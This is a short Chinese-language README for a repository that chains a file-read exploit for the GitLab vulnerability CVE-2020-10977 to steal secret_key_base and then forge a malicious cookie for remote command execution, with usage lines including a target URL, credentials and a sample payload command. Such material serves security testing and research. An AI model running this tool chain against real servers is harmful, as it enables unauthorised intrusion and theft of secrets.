CVE-2020-10977 读取与执行

关于 CVE-2020-10977

• HackerOne 报告：https://hackerone.com/reports/827052
• Exploit-DB：https://www.exploit-db.com/exploits/48431
• 如何手动复现执行部分：从读取到执行

关于本仓库

• get_secret.py — 主脚本。它首次使用 thewhiteh4t 的代码来利用 cve-2020-10977，并从给定仓库中获取 secret_key_base。然后它会启动 cookie_maker.sh 来生成包含 payload 的 cookie。

  root@kitploit:~

  Usege: python get_secret.py http://gitlab.vh foo gfhjkm123
  

• cookie_maker.sh — 启动 docker 并生成恶意 cookie。也可以独立使用。

  root@kitploit:~

  Usage: cookie_maker.sh <secret_key_base> "echo /etc/passwd > /tmp/owned"
  

依赖项

• Docker

子模块

• cve-2020-10977 — 由 thewhiteh4t 提供的子模块

致谢

基于 thewhiteh4t 的仓库：https://github.com/thewhiteh4t/cve-2020-10977

警告

它 可能 应该包含 bug。如果 get_secret.py 正确结束但没有输出 cookie，请重新运行一次。